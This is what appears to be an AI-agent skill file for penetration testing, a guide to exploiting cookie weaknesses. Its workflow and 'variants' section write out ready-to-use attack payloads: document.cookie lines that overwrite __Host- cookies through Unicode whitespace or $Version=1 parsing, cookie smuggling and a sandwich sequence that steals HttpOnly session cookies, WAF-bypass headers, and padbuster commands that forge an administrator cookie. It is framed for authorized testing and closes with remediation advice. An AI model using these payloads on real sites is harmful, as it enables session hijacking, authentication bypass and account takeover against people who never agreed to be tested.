name: exploiting-cookie-based-vulnerabilities description: Testing and exploiting cookie-related weaknesses including attribute misconfiguration (SameSite, HttpOnly, Secure, Domain, Path), cookie prefix bypasses (__Host-/__Secure-), parser-discrepancy attacks (cookie smuggling, sandwich, $Version legacy parsing), cookie tossing/fixation, and weak/predictable or crypto-flawed (padding-oracle, ECB, CBC-MAC) session cookies. Activates when assessing session management, CSRF cookie defenses, or any flow that trusts cookie values. domain: cybersecurity subdomain: web-application-security tags:
- penetration-testing
- cookie-security
- session-management
- owasp
- web-security version: '1.0' author: xalgorix license: Apache-2.0
Exploiting Cookie-Based Vulnerabilities
When to Use
- During authorized assessments of session management, authentication, and CSRF cookie defenses
- When the app sets custom cookies that may encode sensitive data (user IDs, roles, encrypted blobs)
- When you control or find XSS on a subdomain (cookie tossing / fixation / prefix overwrite)
- When testing front-end/back-end parser discrepancies behind proxies, WAFs, or legacy Java/Python stacks
- When a session cookie looks Base64/hex-encoded and might be decodable, forgeable, or crypto-weak
Prerequisites
- Authorization: Engagement scope covering session/auth testing with test accounts (attacker + victim)
- Burp Suite: Repeater for crafting raw
Cookieheaders and the CookiePrefixBypass.bambda custom action - padbuster: For padding-oracle decryption/forgery of CBC-encrypted cookies
- Browser devtools / two profiles: To set cookies via
document.cookieand test cross-context binding - CyberChef: For decoding/encoding Base64, hex, and inspecting cookie structure
Critical: Variants Most Often Missed
Scanners flag "missing HttpOnly/Secure" and stop. The high-impact bugs are parser discrepancies and crypto weaknesses. Test every variant below.
# 1. __Host-/__Secure- prefix overwrite from a subdomain (parser tricks)
# Prepend Unicode whitespace the BROWSER keeps but the BACKEND trims:
document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`
# Trimmed code points: U+0085 U+00A0 U+1680 U+2000-200A U+2028 U+2029 U+202F U+205F U+3000
# Safari blocks multibyte but allows single-byte U+0085 / U+00A0 -> cross-test browsers.
# 2. Legacy RFC2109/2965 parsing via $Version=1 (Tomcat/Jetty/Undertow)
document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; Domain=.example.com;`
# 3. Empty-name cookie smuggling (control other cookies)
document.cookie = "=test value;" // header becomes: a=v1; test value; b=v2
document.cookie = "=a=b" // server reads cookie "a"="b"
# 4. Quoted-value cookie smuggling (Java/Python read quotes as one value)
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
# 5. Cookie sandwich to steal HttpOnly (PortSwigger)
document.cookie = `$Version=1;`;
document.cookie = `param1="start`; // victim HttpOnly cookie gets trapped inside
document.cookie = `param2=end";`;
# 6. WAF bypass via cookie splitting / escaped values
Cookie: name=eval('test//
Cookie: comment') // joined: name=eval('test//, comment') => allowed
# "\e\v\a\l\(\'\t\e\s\t\'\)" (escaped) bypasses "eval('test')" blocklist
# 7. Crypto-weak session cookies
# - Base64-decodable -> tamper user/role
# - Padding oracle (CBC) -> padbuster decrypt/forge
# - ECB -> block shuffling username -> admin
# - Static-key cipher (e.g. IDEA+hex) -> forge cookie for any user ID offline
How to CONFIRM a hit (avoid false negatives)
- Prefix overwrite: after setting the whitespace/
$Versionvariant from a subdomain, the server-side request shows the protected__Host-/__Secure-cookie carrying YOUR value (duplicate-name "last wins"). Confirm via a reflected value, CSRF-token override, or session swap. - Smuggling: the backend parses a forged cookie (e.g., a spoofed CSRF token) out of a single attacker-controlled cookie string — verify by observing the app accept the injected value.
- Crypto: padbuster returns plaintext (oracle confirmed) or a re-encrypted
user=administratorcookie that the app accepts as that user; for ECB, an "a"*blocksize+"admin" trick yields a working admin cookie. - Tossing/fixation: the victim's authenticated actions occur in the attacker's account context, or a pre-set cookie remains valid after the victim logs in.
- Always confirm with a concrete privileged action (access another user's data, elevated role) rather than just a parsing observation.
Workflow
Step 1: Inventory Cookies and Attributes
# Capture Set-Cookie attributes; note SameSite, HttpOnly, Secure, Domain, Path, prefix
curl -sI https://target.example.com/ | grep -i set-cookie
Flag: SameSite=None without need, missing HttpOnly on session, Domain set to parent (subdomain exposure), no __Host- prefix on session cookies.
Step 2: Decode and Tamper Cookie Contents
# Try Base64/hex decode of opaque cookies
echo 'eyJ1c2VyIjoiYm9iIn0' | base64 -d
# Modify decoded data (user/role/id), re-encode, replay, observe privilege change
Step 3: Test Prefix Overwrite from a Subdomain
// From an XSS/controlled subdomain, attempt to set a parent __Host- cookie
document.cookie = `${String.fromCodePoint(0x2000)}__Host-session=attacker; Domain=.example.com; Path=/;`;
// Also try $Version=1 legacy parsing variant
document.cookie = `$Version=1,__Host-session=attacker; Path=/long/; Domain=.example.com;`;
Use Burp to send multiple leading code points (U+2000, U+0085, U+00A0) and observe whether the backend normalizes the name to the prefixed form.
Step 4: Cookie Smuggling / Sandwich / WAF Bypass
// Sandwich to capture an HttpOnly cookie reflected in a response
document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
document.cookie = `param2=end";`;
Send duplicate cookies across multiple Cookie: headers to test back-end joining and WAF blocklist bypasses.
Step 5: Attack Crypto-Weak Session Cookies
# Padding oracle: decrypt
padbuster http://web.com/index.php <COOKIE> 8 -cookies auth=<COOKIE>
# Padding oracle: forge an admin cookie
padbuster http://web.com/index.php <COOKIE> 8 -cookies thecookie=<COOKIE> -plaintext user=administrator
# ECB: register username = "a"*blocksize + "admin", then splice blocks to mint admin
If the cookie is a static-key cipher (e.g., IDEA + hex), encrypt the target user ID offline and set the forged value directly — no credentials needed.
Step 6: Cookie Tossing & Session Fixation
// From a controlled subdomain, set a path/domain-scoped cookie that the parent reads
document.cookie = "session=attacker_value; Domain=.example.com; Path=/";
Test whether the app issues a NEW session on login (if not, a fixed/attacker-supplied cookie persists and enables fixation/tossing).
Key Concepts
| Concept | Description |
|---|---|
| SameSite | Strict/Lax/None controls cross-site sending; Chrome defaults unset cookies to Lax |
| __Host- / __Secure- | Prefixes enforce Secure, HTTPS origin, no Domain, Path=/ — meant to block subdomain overwrite |
| Prefix Bypass | Leading Unicode whitespace or $Version=1 legacy parsing tricks servers into accepting forged prefixed cookies |
| Cookie Smuggling | Empty-name/quoted-value parser quirks let one cookie string inject extra logical cookies |
| Cookie Sandwich | $Version=1 + open/close quotes traps an HttpOnly cookie so it gets reflected |
| Cookie Tossing | Setting a cookie from a subdomain that the parent domain consumes |
| Padding Oracle / ECB / CBC-MAC | CBC error oracle decrypts/forges; ECB allows block shuffling; CBC-MAC with null IV is forgeable |
| Static-Key Cipher | Cookie = encrypt(userID) under a global hard-coded key; forge any user offline |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite + CookiePrefixBypass.bambda | Craft raw Cookie headers; automate prefix/smuggling probes |
| padbuster | Padding-oracle decryption and forgery of CBC-encrypted cookies |
| CyberChef | Decode/encode Base64/hex; inspect cookie structure |
| Browser devtools / two profiles | Set cookies via document.cookie; test cross-context binding |
| http.cookie / framework parsers | Reproduce server-side normalization (e.g., Django str.strip) to predict bypasses |
Common Scenarios
Scenario 1: __Host- Overwrite via Unicode Whitespace
An XSS on sub.example.com sets \u2000__Host-session=...; Domain=.example.com. The Django backend trims the leading code point, normalizes the name to __Host-session, and (last-wins) adopts the attacker's value as the privileged session.
Scenario 2: Cookie Sandwich Steals HttpOnly Session
A page reflects a benign cookie in its response. Using $Version=1 plus open/close quoted cookies, the attacker traps the HttpOnly SESSION value inside the reflected cookie and exfiltrates it.
Scenario 3: Static-Key Cookie Forgery
The app issues COOKIEID = IDEA-encrypted user ID, hex-encoded, under a hard-coded key. The tester encrypts ID 1 offline, matches the format, and forges an admin cookie — full pre-auth bypass with no credentials.
Output Format
## Cookie Vulnerability Finding
**Vulnerability**: __Host- Cookie Overwrite via Parser Discrepancy
**Severity**: High (CVSS 8.1)
**Location**: Cookie parsing on example.com (Django backend) + sub.example.com XSS
**OWASP Category**: A07:2021 - Identification and Authentication Failures
### Reproduction Steps
1. From sub.example.com (controlled), run document.cookie with leading U+2000 + __Host-session and Domain=.example.com
2. Browser stores the cookie because the name does not literally start with __Host-
3. example.com backend trims the Unicode whitespace, normalizing to __Host-session
4. Duplicate-name resolution (last wins) adopts the attacker value
5. Confirmed session swap: requests now resolve to the attacker-controlled value, enabling CSRF-token override / fixation
### Evidence
| Item | Value |
|------|-------|
| On-the-wire name | \u2000__Host-session |
| Server-normalized name | __Host-session |
| Resolution | last occurrence wins |
| Impact | session fixation / CSRF token override |
### Recommendation
1. Reject cookie names containing leading/embedded Unicode whitespace; do not trim before prefix checks
2. Disable legacy RFC2109/2965 parsing ($Version) on the server/proxy
3. Enforce HttpOnly + Secure + SameSite and use __Host- consistently for session cookies
4. Issue a fresh session ID on login; bind sessions to additional context to prevent fixation/tossing
5. Replace home-grown cookie crypto with authenticated, server-side sessions (random IDs)